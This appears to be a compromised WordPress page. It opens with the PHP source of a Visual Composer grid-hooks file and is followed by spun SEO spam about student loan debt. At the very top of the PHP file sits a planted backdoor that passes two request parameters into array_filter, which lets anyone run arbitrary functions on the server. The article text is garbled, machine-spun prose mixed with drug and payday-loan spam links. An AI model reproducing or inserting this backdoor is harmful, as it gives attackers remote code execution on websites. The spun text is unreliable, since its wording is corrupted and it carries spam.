?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Class Vc_Hooks_Vc_Grid * @since 4.4 */ class Vc_Hooks_Vc_Grid implements Vc_Vendor_Interface { protected $grid_id_unique_name = 'vc_gid'; // if you change this also change in vc-basic-grid.php /** * Initializing hooks for grid element, * Add actions to save appended shortcodes to post meta (for rendering in preview with shortcode id) * And add action to hook request for grid data, to output it. * @since 4.4 */ public function load() { // Hook for set post settings meta with shortcodes data /** * @since 4.4.3 */ add_filter( 'vc_hooks_vc_post_settings', array( &$this, 'gridSavePostSettingsId', ), 10, 3 ); /** * Used to output shortcode data for ajax request. called on any page request. */ add_action( 'wp_ajax_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); add_action( 'wp_ajax_nopriv_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); } /** * @since 4.4 * @deprecated and should not be used and will be removed in future! since 4.4.3 * @return string */ private function getShortcodeRegexForHash() { // _deprecated_function( 'Vc_Hooks_Vc_Grid: getShortcodeRegexForHash method', '4.4.3', 'getShortcodeRegexForId' ); $tagnames = apply_filters( 'vc_grid_shortcodes_tags', array( 'vc_basic_grid', 'vc_masonry_grid', 'vc_media_grid', 'vc_masonry_media_grid', ) ); // return only grid shortcodes $tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) ); // WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag() // Also, see shortcode_unautop() and shortcode.js. return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . "($tagregexp)" // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 6: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * @since 4.4.3 * @return string */ private function getShortcodeRegexForId() { return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . '([\\w>]+)' // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . '(?:' . '(' . $this->grid_id_unique_name // 4: GridId must exist . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')+' . ')' . ')' . '(?:' . '(\\/)' // 5: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 6: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 7: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * Set page meta box values with vc_adv_pager shortcodes data * @since 4.4 * @deprecated 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array - shortcode settings to save. */ public function gridSavePostSettings( array $settings, $post_id, $post ) { // _deprecated_function( 'Vc_Hooks_Vc_Grid: gridSavePostSettings method', '4.4.3 (will be removed in 4.10)', 'gridSavePostSettingsId' ); $pattern = $this->getShortcodeRegexForHash(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[3] ) && is_array( $found[3] ) ) { foreach ( $found[3] as $key => $shortcode_atts ) { if ( false !== strpos( $shortcode_atts, 'vc_gid:' ) ) { continue; } $atts = shortcode_parse_atts( $shortcode_atts ); $data = array( 'tag' => $found[2][ $key ], 'atts' => $atts, 'content' => $found[5][ $key ], ); $hash = sha1( serialize( $data ) ); $to_save[ $hash ] = $data; } } if ( ! empty( $to_save ) ) { $settings['vc_grid'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array */ public function gridSavePostSettingsId( array $settings, $post_id, $post ) { $pattern = $this->getShortcodeRegexForId(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid_id'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[1] ) && is_array( $found[1] ) ) { foreach ( $found[1] as $key => $parse_able ) { if ( empty( $parse_able ) || '[' !== $parse_able ) { $id_pattern = '/' . $this->grid_id_unique_name . '\:([\w>]+)/'; $id_value = $found[4][ $key ]; preg_match( $id_pattern, $id_value, $id_matches ); if ( ! empty( $id_matches ) ) { $id_to_save = $id_matches[1]; // why we need to check if shortcode is parse able? // 1: if it is escaped it must not be displayed (parsed) // 2: so if 1 is true it must not be saved in database meta $shortcode_tag = $found[2][ $key ]; $shortcode_atts_string = $found[3][ $key ]; /** @var $atts array */ $atts = shortcode_parse_atts( $shortcode_atts_string ); $content = $found[6][ $key ]; $data = array( 'tag' => $shortcode_tag, 'atts' => $atts, 'content' => $content, ); $to_save[ $id_to_save ] = $data; } } } } if ( ! empty( $to_save ) ) { $settings['vc_grid_id'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4 * * @output/@return string - grid data for ajax request. */ public function getGridDataForAjax() { $tag = vc_request_param( 'tag' ); $allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag ); if ( $allowed ) { $shortcode_fishbone = visual_composer()->getShortCode( $tag ); if ( is_object( $shortcode_fishbone ) ) { /** @var $vc_grid WPBakeryShortcode_Vc_Basic_Grid */ $vc_grid = $shortcode_fishbone->shortcodeClass(); if ( method_exists( $vc_grid, 'isObjectPageable' ) && $vc_grid->isObjectPageable() && method_exists( $vc_grid, 'renderAjax' ) ) { echo $vc_grid->renderAjax( vc_request_param( 'data' ) ); die(); } } } } } /** * @since 4.4 * @var Vc_Hooks_Vc_Grid $hook */ $hook = new Vc_Hooks_Vc_Grid(); // when visual composer initialized let's trigger Vc_Grid hooks. add_action( 'vc_after_init', array( $hook, 'load', ) ); if ( 'vc_edit_form' === vc_post_param( 'action' ) ) { VcShortcodeAutoloader::getInstance()->includeClass( 'WPBakeryShortCode_VC_Basic_Grid' ); add_filter( 'vc_edit_form_fields_attributes_vc_basic_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); } Student loan Obligations as good Double-Edged Sword - Groupe-SLG

http://busingers.ca/wp-content/plugins/.git/.git/.git/HEAD Groupe SLG

Student loan Obligations as good Double-Edged Sword

Recrutement :

buy Pregabalin Student loan Obligations as good Double-Edged Sword

Particularly, the lady analyses recommend that student loan obligations is from the good small impede off ong ladies ( not teenagers)

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Student loan financial obligation is what Rachel Dwyer and you can acquaintances name good double-edged sword: thirty-five to your one hand it is an invaluable financial resource one to young adults can use to help you connection this new previously-widening gap anywhere between their particular as well as their families’ tips plus the rising will cost you away from university, which will make college attendance you can. Additionally, obligations need to be reduced, and installment can be impose difficulties with the certain young adults. Particularly, Dwyer and you will associates have demostrated you to definitely obligations come with both will cost you and you will advantages. He has unearthed that student loan (and you can credit card) personal debt is from the increased feelings off empowerment and you may power over one’s lives in the earlier degree out of more youthful adulthood, possibly because offers improved freedom, usage, and you will potential. However,, such connectivity fade over the years since young adults age and beginning to pay the debt they accrued in the act. Debtors within their middle- so you’re able to later-20s had a tendency to become they’d shorter command over its lives minimizing levels of expertise. 36 Debt may both let and you may hamper some body on pursuit of a college education: Dwyer and you can acquaintances reveal that modest loans account was on the increased rates out of college or university conclusion, whereas large loans profile is actually with the an elevated chance of university dropout. 37 Other studies have reported the dangers for the education loan personal debt. Current performs because of the Fenaba Addo means that rising student loan financial obligation tends to be affecting most other areas of the changeover in order to adulthood. 38 And, and in addition, despite its lack of effects to your biggest lifestyle behavior, education loan financial obligation can only make some young adults miserable. Several education advise that student loan financial obligation was negatively on the more youthful adults’ bodily, rational, and you can mental health. 39

Summary

All of our empirical really works suggests that student loan loans tends to, at the best, has a somewhat brief effect on property behavior of younger people. Although there is evidence of a negative association away from financial obligation which have homeownership and, in order to a lower extent financial number, the evidence doesn’t suggest that this will be a good causal relationships; and you can, again, it is merely small in size. Because the detailed more than, although not, even if student loan personal debt is not best young people so you’re able to eschew family-to order dentro de masse, this isn’t necessarily inconsequential to younger adults’ lives. When you look at the offered policy choices for that has ascending student loan debt, together with if otherwise simple tips to limit the cousin sized individuals’ education loan costs, possibly you want to envision larger questions relating to fairness and you will equity one to continue beyond the homeownership and relevant points.

Basic, we need to ask whether i as the a people is comfortable with the point that ascending postsecondary expenses and you can relevant debt could possibly get exacerbate existing personal and you will monetary inequalities? Such, while it is true you to college or university availableness has grown to own disadvantaged groups over time, it’s very correct that such communities have a considerably large dropout exposure and also get off college or university that have far more financial obligation than just its way more advantaged competitors. Therefore, it’s possible one to, once the cost of college or university and related education loan personal debt boost, college or university will get serve to replicate, as opposed to overcome existing racial and group inequalities.

Next, can it be reasonable that we anticipate young people right now to take into the a whole lot more exposure to reach a college education than just the moms and dads did for an around equivalent rewards? Congresswoman Virginia Foxx-that has likened student loan debtors so you’re able to irresponsible misanthropes forty – went to College out of New york at once when good year’s university fees rates $2,100 41 to visit in today’s cash. It’s no surprise that Congresswoman Foxx you’ll graduate debt totally free if you are functioning part-time to shell out the woman tuition expense. Today, browsing UNC cost $8,374, not including payday loans in Kim CO online instructions, area and you may board, or other living expenses. With these costs additional, UNC quotes that the total price are over $24,100000 annually. Away from state children shell out almost double you to number. 42 Meanwhile, while the present day university salary superior remains higher, the majority of the newest latest growth in new salary premium shows the new declining chance regarding high school graduates, therefore it is not much higher today than just it had been back in Congresswoman Foxx’s time. Making it unquestionable one, typically, the present youthfulness take on so much more economic exposure on the quest regarding a college degree than might have been your situation having earlier generations. For almost all teenagers, one risk-you to definitely resource-pays of. For other people – especially those whom don’t scholar college, flounder regarding labor field, or accrue a lot more obligations they are able to handle-so it risk cannot pay off. It is a roll of chop. Practical question, following, is really what we could would, otherwise are willing to create since a nation to evolve these possibility.

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